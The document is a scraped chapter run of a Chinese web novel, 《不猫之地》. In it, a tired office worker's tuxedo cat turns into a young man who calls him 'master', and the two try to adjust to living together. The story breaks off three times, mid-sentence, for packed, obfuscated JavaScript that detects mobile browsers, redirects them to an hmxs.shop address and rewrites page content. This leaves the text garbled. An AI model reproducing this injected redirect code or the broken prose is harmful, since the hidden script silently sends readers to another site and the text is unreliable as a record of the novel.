《不猫之地》 1. 被子戏法 三月,有一两枝条探出纯白,玉兰先一步绽出蓬勃生机,过路人抬头看便知道春天就要来了。 宋木之绕开压弯的树枝,捻了捻沾在指尖的玉兰花瓣,回到家已经是将夜之时。 “冬冬?” 没有回应,但他的猫从来不会回应人的叫声,是个超级高冷的奶牛猫。经过一天的工作摧残,标准打工人宋木之的精力全部消耗殆尽,他放下钥匙,柔声对空无一人的家说道。 “冬冬你在哪里啊。” 宋木之急需吸猫补充能量,他从公文包里拿出带回来的文件,趿着拖鞋朝猫房走去。冬冬通常会在那间房的玻璃窗前坐着。 冬冬是去年临近冬天捡的猫,那时恰好是个气温极低的初冬,宋木之作为常年没有猫缘的过敏者,某天照旧在小区放下救济猫粮就原路撤退。 但他在转身时,有只流浪猫哒哒凑近,纡尊降贵地“喵”了一声。 后来宋木之与巡视新家的猫咪目目相对,看着猫圆溜溜的眼睛沉默,只好边吃过敏药边给猫咪起名为冬冬。 这名字还是猫咪自己抓周选的。 “冬冬小猫咪在哪里呀。”宋木之掀开及地的窗帘,里面没藏猫。 宋木之又将窗帘挽好,听到卧室传来声响。他揉了揉疲惫的双眼走到床边,惊奇地发现被窝隆起一角——想必是高冷奶牛猫终于显露出“神经”本性钻进被窝里玩。 宋木之一个开心,也扑到床上打算跟猫一起耍,却摸到了被窝下的……人。 哪儿来的人? 这让宋木之立马清醒大半,与怀里的人四目相对。 “我靠你谁啊?!”宋木之在床上差点一蹦三尺高,眨眼功夫便缩到墙角。 床上的男人眉眼疏离,同样睡眼惺忪地揉了揉眼睛,将被子盖在头上看向“紧急避险”的宋木之。他拨开遮挡视线的被子,把自己团成个球试探道:“主……人。” 区区二字将宋木之雷得外焦里嫩,他还没理清楚脑袋里的乱麻,面前的男人低头看向自己的双手,又同样懵地抬头看着宋木之。 宋木之卡壳的大脑终于运转:“你是冬冬?” 他有些难以置信地拍拍双颊,试图让自己清醒过来,但现在显然不是梦。 “主人。”眼前的冬冬似乎对自己能说话这事格外新奇,又好奇地叫几声,差点没把宋木之吓得跳下床,“和你一样。” 宋木之绕个大圈下床,顶着炸毛的一头乌发端详着男人。 面前这男人的确有冬冬的高冷样,可以说是俊美那一挂的,柔顺的黑毛看起来很蓬松好rua,眉尾一颗痣恰到好处,他记得冬冬眼睛附近也有类似的小白点。 最关键的是,这男人跟冬冬毛发一样有着少量白色,完完全全就是正宗牛多奶少的奶牛猫。 宋木之挠挠后脑勺,质问道:“你到底是谁?别耍花招,你是不是把我们家冬冬拐跑了?” “是我啊,我就是冬冬。”床上男人说话淡淡的,“主人。” 猫帮中一直流传着猫会变成人的传说,冬冬也一直在期待变成人,如今终于成功跟宋木之一样,冬冬想想就很开心。 但他就连开心也是淡淡的,用人类的话来说就是“猫设”不能塌。 疲惫感一扫而过,相反宋木之全身的神经都紧绷起来,不由得怀疑光天化日之下遇到了灵异事件。关键盘问半天猫都不能给他准确的答案,猫也不知道他怎么变的。比起这些,他更愿意相信是有人在整蛊他。 但事实就是圆嘟嘟可可爱爱的奶牛猫冬冬一朝之间化成人,还是个……裸男。 宋木之实在不知该对他床上出现一个裸男作何感想,只能按着额角从衣柜里拿出一件不常穿的卫衣,头也不转地扔给冬冬。 “先把这个穿上。”宋木之有些头疼地说。 卫衣就摆在面前,可冬冬摆弄半天也没研究出门路,还把衣服团成个窝——正适合猫卧在里面,于是他又顶着“三角饭团”的模样与宋木之对视。 也是,猫也不是生来就会穿衣服。 宋木之被自己的脑回路气笑,只好走上前,对着冬冬“猫咪”说:“来,手举起来伸懒腰。” 冬冬冷着脸,头顶柔顺的黑发翘起一缕,但还是乖乖举起双手做出投降状,宋木之趁他这般动作,半点不耽搁地将卫衣袖子套进去,三两下就穿好衣服。 “我们聊聊。”宋木之还是想问个清楚,毕竟除了冬冬本人没有比他更明白其中的来龙去脉。 “从什么时候变成人的?” 冬冬仍旧裹着被子回答道:“不知道。” 宋木之又问:“你怎么会说话的?” “主人,教我的。” “你变成人干什么?” 冬冬蹭了蹭宋木之:“不知道。” 宋木之:“……” 冬冬做猫的时候蓬松毛发惯会欺骗眼睛,但实际上体型偏瘦,这点就算变成人也没变。他穿宋木之的衣服明显大一圈,像是偷穿大人衣服的刚刚成年的小男生,宋木之说着说着就不自觉柔和起来。 “那保持这样的形态多久了?有没有哪里不舒服?” “不明白,有点……热。”冬冬言简意赅。 “热?你该不是发烧了吧。”宋木之放下扶在腰间的手,将手背贴在冬冬的脑门上,的确和正常人没有什么两样。 冬冬显然不太习惯这样接触,当即微微向后仰了一下身子,但动作又戛然而止。宋木之完全没有意识到这小动作,他自顾自地收回手,又贴在自己脑门上对比一下。摸不出来有什么差别,宋木之还是老老实实去拿温度计。 “你坐在这里,我拿个东西就回来。”宋木之深吸一口气走出卧室。 可还没来得及呼出气,身后又传来声响。 冬冬紧紧抿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16744115|189800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着嘴唇,亦步亦趋地跟在宋木之身后,眼眸中还闪烁着晦暗的光,其中的意思不要再明显。 宋木之半旋过去的身子滞了一瞬,只好默认冬冬跟在后面,走到哪里就跟到哪里。 他在挤脚的客厅兼餐厅中拉开抽屉,里面放了各式各样的药,有过期的也有没过期的。宋木之将藏在最深处的体温计拿出来,用力甩了两下,递给冬冬:“夹到你腋下,不要掉了。” 冬冬这回似乎听懂了,乖乖接过温度计就往胳肢窝戳,宋木之来不及帮忙就完事了。 “喜欢。” “嗯?喜欢什么。”宋木之将抽屉里的药又胡乱塞回去,眼疾手快地趁塑料包装“越狱”前将其关进抽屉里,从外看完全看不出其中包罗的“万象”。 旋即他才意识到冬冬说喜欢应该是在喜欢温度计。他顺着问几句,却得到了冬冬的否定。 “那喜欢什么?不会是在喜欢变成人的感觉吧。”宋木之越说越声音越小。 冬冬又摇头:“喜欢你,主人。” 冬冬说话时断断续续的,倒也不是卡壳到说不连贯,更像是习惯于这种说话方式。宋木之这才明白过来原来冬冬说人话时还带着猫的习惯,再加上他高冷的性格说话就更精简了,不让人猜个几回很容易曲解意思。 宋木之扯起笑,无奈地回答:“我也喜欢猫。” 就是家里的猫突然变成人有些惊悚罢了,他的小心脏到现在还没缓过来。 一番折腾下来天色也晚了,体温计量出来显示37.5度,宋木之不知道这是因为冬冬初变成人引发的副作用还是换季导致的,更不知道该给他喂人的发烧药还是去宠物医院——就算去也不知道怎么说,指不定还会被当成神经病赶出来。 宋木之思虑再三,先将卧室的床收拾好,又把冬冬的被角窝得严严实实,期冀出点汗把低烧治了,自己转身向卧室外走去。 冬冬只露出个头,有些情绪地问:“不在这里,睡觉?” 在冬冬还是只猫的时候,宋木之经常拽着冬冬圆乎乎的拳头不让它走,哭着喊着要跟高冷猫本猫睡在一张床上。那时傲娇冬冬才会偶尔“宠幸”一下主人,往往宋木之还要语调夸张地“谢主隆恩”,心满意足地抱着毛茸茸的冬冬睡觉,但现在不一样了。 宋木之脚步一顿,微微侧头回答:“我还有些工作要处理,你先睡吧。” 转身便关上卧室门,只留一条缝透出光亮。 其实工作早就处理完了,宋木之现在也没心思管其他。他心如乱麻,躺在沙发上用手机搜索“猫变成人怎么办”,可网络上都是些供人娱乐的文章,就连号称“万能”的ai也当成笑话条分缕析地分析一堆无所用的废话。 宋木之不自觉抿紧嘴唇,啪地一声放下手机。 只希望这是一场梦,醒来还是圆乎乎的猫陪着他。 哪怕对他爱答不理也好。 2. 动物世界 第二天早上,冬冬醒来时被子已经被春日的暖阳照得热呼呼的,他一觉睡十个多小时,精气神儿好不少。 冬冬慢吞吞地穿上衣服,走出卧室时家里没有找到宋木之的身影,他知道这人是又出去上班了。 出于不打扰冬冬美梦的好意,一团乱麻的宋木之出门前没跟冬冬打招呼就走了。不过他在餐桌上留了一张小纸条,怕初为人猫的冬冬看不懂,还用堪称手残的画技留下一段话—— 太阳,盘子,手机在响。 大概是这种“言简意赅”的语言正好在猫语系统上,冬冬没过几秒就看懂了意思,宋木之这是要他起床之后给他打电话。 但猫不会用手机打电话。 冬冬只知道手机很有用。做猫时冬冬经常看到宋木之拿着手机,还要在发光大屏幕前一坐就是几小时。 当然,宋木之也会时不时举起手机对着猫,笑得呲着个大牙也就算了,还要猫也“看镜头”,这种时候猫爷冬冬会傲娇地配合一瞬,能不能抓拍到就看他本事了。 好在手机很快就响起声,冬冬按照纸条上抽象级手残图解手指轻轻向上滑,宋木之的声音隐隐约约从手机那头传来。 冬冬凑近后才发现听不清,整个耳朵都快要贴到桌子上。 “看样子是已经起床了?”宋木之的语气平淡,“我给你准备了一点饭,你适量……咳,你先别吃蛋白了。”他清了清嗓子小声嘱咐道。 冬冬知道“饭”一般在哪里放着,他走进厨房,电饭煲里放着定时保温剥下壳的清蒸虾和……三个鸡蛋,蛋黄分离的那种。 宋木之想看看猫在家里都干什么,但突然想起来家里的监控早就被他投入“冷宫”,只能作罢。 记得当时冬冬身为流浪猫,本能地非常排斥这会冒出人声的玩意儿,每次都发起“革命”,一爪子拍翻摄像头,结果就是还没用几次就喜提九成新大残。宋木之就干脆让监控在角落吃灰去,再也没用过那玩意儿,现在看来又得拿出来擦擦了。 “我出门前顺便煮了点你爱吃的,要是不想吃我再买别的。”宋木之手头上应该还有工作在处理,漫不经心的说话声淌进冬冬耳朵里。 冬冬作为流浪很久的猫,向来秉持着对食物不挑不拣不浪费的原则,到现在宋木之还不知道他悄悄把冻干藏在下花盆后面。 “都可以。”他回答。 “……要是在家无聊你可以玩手机,密码是106648。”宋木之说完顿一下,又补充,“但是不要乱点一通,会误触到很多东西,等回家了我教你怎么用手机。” “还有吃完饭就在家等我回去,不要给人乱开门,会有坏人拐你走,还有陌生电话也不能接。”宋木之细细回想还有什么要交代的,“中午我给你点外卖。” 冬冬忍不住说:“我知道,流浪时人很坏。” 宋木之一时凝噎,但还是全部安排妥当后他才挂电话。手机通话页面消退,宋木之感觉口干舌燥,扶着额头打算猛灌几口水解解压。 旁边同事好奇地探出一个头:“谁啊,你瞒着我们养孩子了?” 宋木之刚端起的杯子凝在空中,沉默了一瞬:“算是吧,一个爱顶嘴的叛逆孩子。” …… “小宋,小宋?” 耳边传来忽远忽近的声音,宋木之回过神来,才看到他们部门的部长已经在他桌边站很久了。 部长郑俊楚手中攥着刚打印出来还热乎的文件,轻轻在宋木之头顶上拍一下,靠在桌前隔板上问:“怎么回事,一整天都心不在焉的。” 宋木之回魂似的摇摇头,抬头看向跟他一样年轻的部长。 那男人看宋木之苦着个脸,还以为这工作狂要被成山的文件压垮脊梁,连忙又收回布置工作的手:“累就先休息吧,明天再过来处理。” 宋木之工作一天都不在状态,顺带请过下午的假后就下班了。 电梯叮一声响,宋木之迈开长腿,轻轻扶正银丝眼镜框,旋即他凭单手将西装衬衫领松了两个扣,平添了几分散漫的少年气,但他此行不是回家。 冥思苦想了一整天,宋木之还是决定看看精神科,毕竟跟植物对话的精神病也不太少数,他也有可能是工作压力太大精神出问题了。 穿着白大褂的小姑娘声音清晰,双手手掌向上示意宋木之在皮质座椅上:“宋先生是吧?预约的时间是下午三点,您可以先坐这稍等一下。” 医院里泛着淡淡的消毒水味,宋木之微笑着点点头照做,刚坐下没多久就走进来另一个穿着白大褂的医生。 医生抹匀手上的消毒液,又扶了扶老花镜坐下说:“放轻松,准备好了的话可以先说说你最近的困扰。” “……嗯,也不算困扰。”宋木之一本正经说,“就是感觉最近好像出现幻觉了,能跟动物说话的那种,我家猫能跟我交流,在我看来也是个正常人的模样。” 今天宋木之尝试过问同样养猫的朋友,无一例外都以为他爱猫爱疯了。他又打电话让医生听冬冬的声音,没有任何反应,猫是真的变成了人,还会说话,医生也是这样认为的。 “你这种情况应该就是压力太大了,回去调节一下再看看症状表现,适当休息。”医生又扶了扶眼镜,三两句就将宋木之打发走了。 出医院后,宋木之坐在车里沉默良久。 他甚至生出带冬冬去看中医的心思,但又怕像电视剧演的一样把猫强行抓走做研究,到时候也不可能不管冬冬。 宋木之平日里是个西装革履的打工人,唯一的乐趣就是回家跟猫贴贴,他可没做好准备有一天要面对“人”贴贴,更没准备好生活在同一个屋檐下。 久违的天亮就回家,宋木之手上握着往常“打猎”回家都会给冬冬的“战利品”,他心里还在期待打开门看到的还是熟悉的猫。 猫怎么能变成人呢。 钥匙转动,门随之打开。 “主人,你回家啦。” 冬冬语气平淡,但这话却把路过的邻居吓得不轻,一对上了年纪的老夫妻嘴里嚷嚷着“现在的年轻人啊”,脚步慌忙地上楼。 宋木之一时之间脸上挂不住,也慌里慌张推着冬冬往家里进。 “以后别叫我主人,你现在也不是猫了。” 宋木之意识到自己语气有些生硬,但话出口也收不回来,他只能用脱外套的动作掩饰。 冬冬坐在玄关前的柜子上,那是他偶尔等着宋木之回家时会卧的位置。宋木之又动作不停地走向厨房,随意热了点面包当晚餐,冬冬始终追在他脚后跟后面。 冬冬手中拿着宋木之捡回来的树叶,眼中闪烁着光:“这是给我带的礼物吗?我好久都没出去玩过了。”通常只有在这时他才会显露出开心的神色。 宋木之动作一顿,不自觉地看了眼冬冬,异样的感觉不合时宜地涌进心头。他一直觉得冬冬这种猫本就不适合家养,圈养在家里更像是束缚了猫的自由。 愧疚感驱使下,宋木之找回为数不多的良知,端着刚热好弹出来的面包走到沙发前:“冬冬,你坐下,我给你点外卖。”他当然也不能接受猫跟他一样吃无味难吃的干面包。 冬冬在玩手中嫩绿的叶子,但很快就觉得乏味,靠在沙发背上望着宋木之说:“我不饿。” “你一整天就吃几个虾和蛋黄能撑得住吗?听话,垫垫肚子睡觉才不会难受。”宋木之忍不住操心,边翻动手机边拿面包往嘴里塞,“我今天上班早,那个、你在家里做什么了?” 冬冬盯着宋木之的后脑勺回答:“没有好玩的,主人好玩。” 宋木之语塞:“你……我说过不要叫我主人,人类之间一般不这么叫。” “那叫什么?” 宋木之斟酌了一下:“叫哥吧,你也挺年轻的。” 宋木之很快就点好猫要吃的人类食物,又放下手机,打算好好跟猫谈谈:“我搜了一下,好像没有猫变成人的先例,也没有这方面的研究。”他顿了顿才继续说,“你还能变成猫吗?” “为什么?我好不容易才变成人的。”冬冬看着对面人期待的眼神,不太明白这家伙的“无理”要求是何用意,“猫帮好多动物,都变成人了。” “猫帮是什么?”宋木之正身面对着冬冬问道。 “管我们的。”冬冬显然不太想聊这个,生硬地转移话题,“我说话,好无聊,哥。” 冬冬可怜巴巴地伏在肩侧,宋木之突然觉得他有点担待不起这声“哥”。 在冬冬的注视下,他不太自在地转过头去找遥控器。几分钟后,电视中传来动物世界的解说声。 “这只猎豹已经瘦弱得不成样子……” “这个适合你,可以睁眼看世界,还能学学人家字正腔圆的普通话。”宋木之让冬冬坐在沙发正中间,顺便教他怎么使用遥控器,“你要是觉得电视无聊可以玩手机游戏,你看,三个就可以消除了。” 宋木之早上出门前特地翻出他大学时换下来的旧手机,将没必要的软件删去,终于不那么卡了。这手机每次搬家他都因为相册里面的照 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16744116|189800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 片没舍得扔,没想到时至今日还能再次“出征”给冬冬用,可谓是老骥伏枥到极致了。 开心消消乐刚开始还有新手教程,冬冬注意力都全部集中于消除青蛙,上面的动物有很多,他是打心底里喜欢这个游戏。 没过多久,他又珍重地放下手机,抬头盯着电视上播放的动物世界。 “怎么不玩了?”宋木之问。 冬冬双手搭在腿上,诚恳地说:“晚上,开心。” 这话估计猫不会表达,特地用家里的交流按钮上的词汇凑一起的,大致意思是“等晚上再玩”。 之前宋木之看网上流行人猫交流的按钮,于是他在边牧主人的推荐下激情下单,没想到同为黑白双拼的奶牛猫冬冬出乎意料地通人性,一学就会。 有阵子宋木之一下班就蹲守在按钮前跟冬冬互动,一度成为他最大的乐趣,现在想想冬冬的语言大概也是在那时学的。 冬冬目不转睛地看电视,而宋木之在看冬冬。 “通常来说,猎豹可以通过食物补充水分,但旱季持续太久……” 动物世界的解说声音严肃至极,依旧是熟悉的让人昏昏欲睡的调调,宋木之沉声试探问道:“那你就这样一直用人的身份生活下去吗?身份证挺麻烦的。” 别说身份证了,没有户口、没有学历、没有社会记录,连个无业游民都算不上,但—— “没关系,哥你很厉害的。”冬冬打心底里这么认为,“实在不行……” 话还没说完就被敲门声打断,宋木之连忙起身去拿外卖。 他不知道冬冬“实在不行”背后蕴含的意味,这个话题就此草草掀过篇,冬冬很快就被一桌子日料馋得满眼放光。 “都是给我的嘛。” 一口鱼肉下肚,冬冬幸福地靠在宋木之身边拱了拱,发顶轻轻蹭一下宋木之,像小猫一样。 “慢点慢点,喜欢以后还给你买。”宋木之表情有些僵硬地说。 他活了二十六年从没跟人这么亲近过,更何况还是个突然出现在家里的男人,他假装面不改色地摸了摸冬冬柔顺的头发,背地里将冬冬推远了些。 不过头发很顺滑,像摸猫时的手感一样。 “哥你也吃。” 冬冬兴致勃勃地夹起一块鳕鱼,筷子摇摇欲坠地递给宋木之。 猫用筷子全靠蛮力使然,宋木之本想下意识拒绝,却不得不身子前倾接受了来自猫的投喂,这才没眼看着花了大价钱的日料跟地面来个亲密接触。 趁冬冬吃饭正开心,宋木之又给他找了几个有意思的综艺,还详细地教冬冬使用手机。 好在冬冬年纪小脑子灵光,学东西也比其他人快,不出两个小时就差不多学完了猫生应该具备的人类技能,包括简单使用筷子。 “那我可以给你打电话对嘛?”冬冬虔诚地捧着手机,像是捧着猫生至高无上的神物,还没等宋木之拒绝,他又连忙说道,“我不会麻烦哥的!你那时说的话我都记住了!” 宋木之面对他出乎意料的坦诚不知该如何是好,一贯高冷的猫爷变成人后变得格外粘人,好像也勾出些以往看不出来的反差萌。 “那行吧,你知道就好。”宋木之抓了抓蓬乱的头发,在阳台随手拿几件换洗衣服便走向洗手间,“我去洗个澡,等下就该睡觉了。” “好的。”冬冬说这俩字时跟按钮上的语调一模一样。 洗手间还是个干湿不分离的小房间,放衣服都得让猫砂盆先腾出点空,宋木之放下换洗衣服后也没继续动作,只是双手扶着腰,呆呆地望着猫砂盆出神。 说想猫倒也不至于,但他还是期待有天冬冬还能变回猫。 冷水自头顶倾泻而下,浇得宋木之忍不住打了个冷颤。 他租的这间房子热水总是姗姗来迟,每次洗澡都要先被冷水浇成个落汤鸡,但他也知道只要咬咬牙热水很快就会来,所以连躲都没躲。 现在还是初春,冷水灌进身体有些冷,宋木之洗着洗着就控制不住地出神,等回神时已经搓完沐浴露了。 热水迟迟不来,他忍不住打个喷嚏,一抹脸便打算穿个大裤衩就出卫生间,都走到门口了,他又想起家里还有个人。 以前他习惯这样光着身子在家里晃荡,该看的不该看的都被猫看了个遍,后来冬冬都懒得分给他半点眼神。但今时不同往日,宋木之就这么光着上半身出去,估计高低得按流氓罪从重处理。 几分钟后,宋木之裹着衣服打开门,却与猫猫祟祟的冬冬撞个正着。 3. 被水暗算 宋木之望着冬冬逃跑失败的动作,拽着他的后领问:“你在这儿干什么呢。” 被捉现行的冬冬动作一滞,转过去的身子又不得不重回原位。 他站在卫生间的玻璃推拉门前支支吾吾的,一时之间说不出个所以然,手指倒是拧成了个中国结。 宋木之一脸怀疑地望着冬冬,他合理怀疑这位猫爷是想上厕所但又不好意思说出口,因为这事儿他没教。 关键谁闲得没事教跟他差不多高的男人上厕所啊!! 宋木之租的这间房子卫生间小得可怜,但凡有人上厕所就得把洗澡的人看个精光,他当时也没考虑过他一个过敏性鼻炎患者——几乎与养猫无缘的货还能捡到猫,更没想过靠着吃药缓解病情后,猫又变成了人,简直是老天捉弄他。 现在还得教猫爷上厕所。 “你,没事吗?”冬冬看着他滴水的发丝说。 光是看还不够,冬冬上前一步,有些新奇地摸摸宋木之的头发:“我以为,你要被水暗算了。” 宋木之愣在原地不知该不该动弹,他任由冬冬好奇地摸了几秒头发,旋即躲似的绕开人,假装淡定地走到电视前:“什么暗算,你跟电视上学的词?” 冬冬眼睛放光地点点头,光看眼神就知道这是在期待宋木之夸他。 “挺、挺好的,就是有点不太对。” 宋木之突然想起来,以前每次洗澡时也经常看到冬冬在门口转悠。 那时他还以为是猫爷在跑酷,每次走出洗手间它都在离洗手间十万八千里的餐厅桌子上坐着,现在看来是在担心他被水淹死。 猫爷变成人后行动不像以前那么敏捷,这次正好被他逮个正着。 宋木之笑了笑,装作认真地科普:“人是要定期洗澡的,就跟你们时不时就舔爪子清洁自己一样,你以后也要定期洗澡,知道吗?” 说完这话宋木之感觉自己像个神经病,三岁小孩也不带这么教的。 但两岁小猫信念感极强地点点头,照旧冷着脸说:“明白了,以后我跟哥一起洗澡!” 啪地一声,遥控器一个没拿稳掉在地上,宋木之大惊失色:“我不是这个意思啊!!!” “那是什么?” “人类是不会一块洗澡的。” 宋木之惊魂未定地回答。 冬冬问:“两个男的也不可以啊?” “两个男人一起洗澡就更怪了好吧,哪有正常男的挤一起洗澡的?” “可是电视上……” 冬冬皱着眉头指向电视,这时正好播放到两个猎豹在水里“沐浴”,完美印证冬冬无懈可击的说法,两只雄性猎豹甚至还在河里打起来了。 宋木之看着动物世界眼前一黑,趁着还没嘎嘣一下撅过去,他利落地按下遥控器,动物世界的解说声音就此结束。 客厅里变得格外安静,冬冬有些不知所措地看着宋木之。 “反正不能就是不能,今天太晚了,以后再跟你说这些事。”宋木之虚推着冬冬的背,催着他回卧室休息,“快去睡觉吧。” 冬冬从未见过宋木之如此生硬的模样,他有点想问问发生了什么,但宋木之体贴地给他安排好豪华入睡大套餐,只等着他钻进被窝。 冬冬想,人还是很爱猫的。 又到了晚上,冬冬一点困意都没有。不过他察觉到人有点累,只好乖乖听宋木之的话躺在床上,被角依旧被塞得严严实实,冬冬感觉就快要喘不过气了才问:“你不睡觉吗?” 宋木之磕巴一下,收回给冬冬垫枕头的手:“我还不困,你先睡吧。” 冬冬语调轻快地答应一声,乖乖缩进被窝里。 趁着猫睡觉,宋木之又吭哧吭哧将监控放到台面上,偶尔还能跟在家看电视的猫爷冬冬交流几句。 这回冬冬对监控没那么排斥了,隔好几天他才一爪子将监控拍到地上,随后又捡起来放回原位,装作安分守己。 然而接下来几天,宋木之睡觉前一直用不同的理由搪塞冬冬,再没在卧室睡过觉。冬冬不太明白宋木之为什么每天累到眼皮打架也要处理工作,也不知道他为什么有床不睡,非要窝在沙发里将就。 猫爷冬冬保持着猫的习性,白天时常伴着电视声音小憩,晚上就盯着窗外的夜空发呆。睡不着的时候他还会走出卧室,回到猫房里找个纸壳子坐着。 他已经不像猫那么小,这么一坐就使得猫生平最爱的纸箱猫窝喜提四分五裂,但冬冬看着窗外的玉兰枝迟迟没动。他坐在纸箱里细细闻着纸壳子干燥的味道,这能让他感到熟悉的安心。 猫在家的日子里间歇性无聊,经常性发呆,一天的工作大致就是巡视领地,到中午就接受宋木之隔空投喂的饭,偶尔还会像以前一样,收集窗边来自大自然的礼物送给宋木之。 回顾猫生时期,冬冬时常在家里闲不住,宋木之也就抽时间带它出去玩,还结交了一堆猫猫狗狗,那时冬冬就会捡树叶子送给宋木之。 但宋木之只是收下,冬冬从没在家里见过那些礼物,应该是顺手就扔了。 …… 后来的几天,宋木之都在公司里加班,连假都没休。他倒是有回家照顾猫的心,渐渐对猫也生出了不少好奇,可无奈被堆成山的工作压倒在电脑前,连了解猫的机会都没有。 偶尔他也会问一些问题,都是关于猫的。 据他为数不多的观察,冬冬做人时保留着猫的习惯,上桌都是小事,但无聊的时候时常会在家里走来走去,巡视他的领地,宋木之总觉得这样是在委屈猫。 宋木之叹一口气关闭手机,他好不容易将手放到键盘上投入工作,又被一道声音打断。 “小宋你把这个处理一下吧,最近项目到收尾阶段了。”文件不由分说地放在桌子上,宋木之抬头望去,部长郑俊楚这话虽然是跟大家说的,却一直在注视着宋木之,“大家都辛苦了,等项目结束了一起聚个餐?我请客。” “好啊郑哥,就等你这句话呢。”旁边工位的同事探出头来,笑着打趣他。 当然也有不方便的同事当场婉拒,郑俊楚表示理解,转而又将手搭在宋木之的肩膀上问:“小宋去吗?” 小宋不想去,小宋在想怎么拒绝。 但他前几次聚餐都婉拒了,这次再婉拒恐怕不太合适,便进可攻退可守地回答:“好啊,大家安排就好了,到时候再看家里方不方便。” 郑俊楚又靠在办公桌边缘问:“家里?你家里不是只有个猫吗?还得征求它的同意?” “是啊。” 宋木之经常谈到家里的猫,但很少在同事面前表现出私下吸猫的模样,大家都以为他跟家猫属于“相敬如宾”的状态,谁也不干扰谁,更不会因为猫就拒绝聚餐。 “哎呀最近小宋家里有人要照顾呢,要是太累的话就到时候再看嘛。”尚心逸替他解围打趣道,又转移话题,“对了,部长那个文件我已经传给您了,查收一下?” 尚心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16744117|189800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逸就是最开始问宋木之“家里有孩子”的那位,这位女士看着年轻,但已经有个上幼儿园的孩子了。其为人锋芒毕露,办事效率极高,公司里宋木之跟她最合得来,尚心逸也对宋木之的精神状态比较关心,尤其是最近。 打发完部长后,宋木之终于得个清闲。 尚心逸小声问他:“你家那孩子这么叛逆啊,我看你这几天总是在操心他。” “不操心不行啊。” 宋木之又想看看冬冬了,自从猫变成人在家晃悠后,他就总想看看猫在干什么。 正好到午休时间,宋木之打好饭后坐在角落里,拨通了冬冬的监控电话。 白天宋木之上班的时候,冬冬就在家里看综艺。 综艺节目乱花迷人眼,冬冬别的没学会,倒是学会了各种笑话。其中他最喜欢看的莫过于小品合集里的白云黑土经典台词,这名字跟长毛奶牛猫简直是绝配。 “我是白云。” “我是黑土。” “这是我老公。” “这是我老母……” 冬冬看得正开心呢,身子一歪不小心靠在遥控器上,电视啪嗒一声黑屏,冬冬嘴角的笑很快耷拉下来,唯一的乐趣就此结束。 手机和电视都没了反应,冬冬又回到猫房坐在破成好几瓣的纸箱子里,抱着腿发呆。 今天最开心的时候就是宋木之通过监控说话了,监控传出声音,冬冬慌忙起身趴在面前,带着不易察觉的笑问:“怎么啦哥。” “我给你点了吃的,你等外卖员走之后再开门拿。”宋木之面对冬冬的笑无动于衷,“这次开门一定要记得穿衣服!” “知道啦哥。”冬冬问,“哥什么时候回来啊,我想去找你。” 宋木之一听这话跟应激似的,当即严词拒绝:“不行。你现在这种情况怎么能出门,万一你路上遇到坏人怎么办,等我回家再说。” 他实在担心冬冬大马路上又不小心变成猫,到时候估计是真要上社会新闻,被抓走做实验去了。 但他语气太过生硬,冬冬又看不到监控那头人的表情,被拒绝的那一秒猫突然涌出生理性眼泪,他也不知道为什么眼眶突然就有点湿了,下意识想舔毛,又发现他现在根本就不是猫。 宋木之见冬冬迟迟不说话便看了眼手机,却发现冬冬正虔诚地趴在监控前,看不清表情。 手机端端正正地放在桌子上没有玩,从宋木之的角度只能看到冬冬低头时的发旋。 “好吧。” 冬冬低头忍住了眼泪,再抬头时眼中的泪花消失不见,只剩下圆润的大眼睛注视着摄像头。 “那哥,最近都见不到你。” 冬冬做猫时从没用这样的语调说话过,宋木之突然感觉自己很不是人:“今天很快就会回家了,你……你怎么哭了啊。” “我没有。”冬冬嘴硬。 “你哭了,我都看到了。”宋木之又想起来当初捡猫时的情景。 当时流浪的冬冬很像网上说的江湖猫,而且是一只极为警惕的江湖猫。面对又萌又凶的猫时,大多数人只能跟它以适当的距离相处,但奶牛猫又会用好奇的目光打量着人。 若是人往前进一步,猫就退好几步,然后继续歪头,让人心尖仿佛被猫尾扫了一下,宋木之屡屡遇见它时都是如此。 宋木之从没见猫爷冬冬委屈过,有些不知所措地捧着手机,语气软了下来:“别哭啊,我错了我错了,我今天早点回家。” 4. 猫猫诈骗 初冬给猫做检查的宠物医生说,冬冬目前还只是个刚变成人的小孩,论猫的年龄正是幼年期,被人一凶就容易掉眼泪。 无论流浪的时候怎样,冬冬变成人就是需要悉心照料,宋木之终于承认了这一事实。 宋木之见不得冬冬哭,更何况还是他惹的,以至于整个下午都坐立不安,一到下班时间就往家里奔。 钥匙插进锁孔,扭转,门随之打开。 宋木之紧抿着嘴唇,一路上预演了一箩筐道歉哄人的话,硬生生在看到守在门前的冬冬后咽了回去:“你怎么又没穿衣服啊!” 他连忙冲进家里,拦着冬冬的腰遮了个大半,啪地一声把门带上。 